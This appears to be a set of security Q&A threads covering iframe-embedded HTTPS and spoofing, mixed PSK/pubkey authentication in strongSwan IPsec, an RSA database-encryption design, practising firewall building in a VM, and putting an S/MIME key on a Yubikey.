Client opens "http://main.ourwebsite.com".  In an iframe, we load: "https://secure.ourwebsite.com".  On that secure page, we have a key sent from the server.  That page then uses Ajax to send that key BACK to the server, which verifies that the key was correct and shows a shiny image.  This allows the user to visually see that they have a secure connection. Then when the user submits the form (on secure.ourwebsite.com) we encrypt the information and send it back over the SSL to secure.ourwebsite.com.
Is that a viable option?

The principle of SSL is that when the client browser displays https://secure.example.com/whatever.html then the URL bar in the browser shows that exact URL and the human user can be confident in the fact that what he sees is really what the server which genuinely owns the name secure.example.com decided to send at that time. This is completely unrelated to whatever happens with any other site, be it main.example.com.

And that's all.

This means that if you use an iframe then there is no URL bar, and therefore no guarantee. From the point of view of the user, when he connects to main.example.com then he sees what that server wishes him to view; if the server is under complete control of the attacker, then the user sees what the attacker wants the user to see. In particular, the attacker will not want the user to see the iframed version of https://secure.example.com/; instead, the attacker will server a picture which looks like the secure page, but is not the real thing. Since that's an iframe, the user cannot see the difference. The URL bar is the foundation of HTTPS security. Otherwise, it's just pictures, which are easily counterfeited.

There's really no salvation for a hacked site. No amount of SSL, Ajax or iframes will fix that.


Ipsec: Is it possible to use both pre-shared keys and pubkeys auth methods at the same time? So if we have a server configuration with local auth pubkeys and remove psk and at the same time for a client(initiator) a local auth psk and remote pubkey.
Something like this.
Server -

  local {
     round = 1
     id = 10.3.72.136
     auth = pubkey
     certs = autom_server-cert.pem
   }
  remote {
     auth = psk
     id = %any
   }

Client:

  local:
    rounds:
    - id: 1
      authentication-method: pre-shared-keys
      secret: test
  remote:
    rounds:
    - id: 1
      authentication-method: pubkeys
      ca-cert: /etc/swanctl/x509ca/autom-ca-cert.pem
      cert: /etc/swanctl/x509/autom_server-cert.pem

Can I initiate a connection ?
I have already configured them with psk or pubkeys both but I need to do it together. The error in the syslog from charon is:

Jun 06 07:48:50 server-automation-4 charon[11485]: 12[CFG] looking for pre-shared key peer configs matching 10.3.72.136...10.3.72.27[10.3.72.27]

Jun 06 07:48:50 server-automation-4 charon[11485]: 12[IKE] found 1 matching config, but none allows pre-shared key authentication using Main Mode

This can be done with IKEv2, which allows the use of individual authentication methods for each peer (they are not negotiated, each peer indicates the used method in the AUTH payload, or via its absence to request EAP authentication).

But it's not possible with IKEv1, which you are apparently using, as there a single authentication method is negotiated between the peers (there are some combined-modes like XAuth/RSA, or hybrid authentication, but these are still negotiated as a single authentication method that both have to agree upon).


PHP/JavaScript with RSA I have a few columns in the database which should be encrypted. I'm wondering if the way I chose to make this system work is ok, and I'm looking forward to hear some opinions:

I chose RSA algorithm (with phpseclib). The data I need encrypted will be entered by users, so the private key needed for encrypting it will be on the server, and the data will be automatically encrypted once it's entered. Since there's only one person who should see this data, I decided to keep private key on his computer and make separate AJAX calls which will decrypt the data using that key once the admin page shows. What do you think about this way? Implementation is not the problem, I'm only asking what you think about the whole idea

You will have fallowing problem:

What if my original computer is dead and/or I want to use some other computer, where will I get public key?
Nobody will be able to decrypt the data.

I would suggest you to do something like that:

Each user has his own passphrase
When user enter the data it gets encrypted with the symmetric key that build from some random key +  passphrase
random key get saved next to the data in the DB (but not the passphrase)
When user wants to view the data he needs to provide the passphrase and then the data get decrypted


Is rolling my own firewall on top of my normal firewall dangerous? I'm thinking about playing with/learning about firewalls.  It is easier for me to learn by building, so why not build a firewall?  If I run it alongside my normal firewall, I'd get the normal firewall's protection right?

I applaud your desire to create your own firewall in order to understand them better. What I would suggest is creating a VM and deploy and test your firewall on that. You risk nothing this way because you are in a closed environment.

As further advice, try looking at iptables (Linux) and play with custom rulesets before you create your own programs. Use nmap, scappy, and wireshark for testing and troubleshooting.

As a direct answer, the pre-installed firewall will protect you as far as it is configured. The 'extra' firewall will be additive and because of that, might create confusion for your testing of your own firewall.


Yubikey with S/MIME certificate I would like to do the following. Can anyone tell me if this is possible?

Store the private key for an S/MIME certificate from Digicert on a Yubikey.
Backup the private key to another location.
Use my S/MIME certificate to digitally sign and decrypt emails using Outlook 2013 on Windows 10.

Thanks,
Ely

Store the private key for an S/MIME certificate from Digicert on a Yubikey.

You need to download Yubikey PIV Manager https://developers.yubico.com/yubikey-piv-manager/ that allows storing the certificate to Yubikey.

A nice walktrough for some email clients (but not for Outlook): https://blog.ligos.net/2017-01-02/Smime-Email-and-Yubikey.html